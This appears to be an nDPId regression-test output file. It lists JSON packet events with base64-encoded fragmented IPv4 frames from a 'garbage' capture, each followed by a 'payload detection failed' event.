+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257593,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4791,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257600,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4792,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257608,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4793,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257618,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4794,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257626,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4795,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257633,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4796,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257641,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4797,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257647,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4798,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257655,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4799,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257670,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4800,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257681,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4801,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257689,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4802,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4803,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257703,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4804,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257711,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4805,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257721,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4806,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257728,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4807,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257735,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4808,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257743,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4809,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257750,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4810,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257758,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4811,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257765,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4812,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257772,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4813,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257782,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4814,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257789,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4815,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257796,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4816,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257806,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4817,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257814,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4818,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257821,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4819,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257829,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4820,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257837,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4821,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257848,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4822,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257858,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4823,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257865,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4824,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257873,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4825,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4826,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257888,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4827,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257898,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4828,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257905,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4829,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257912,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4830,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257919,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4831,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":4832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244029,"pkt_ts_usec":257927,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":4832,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 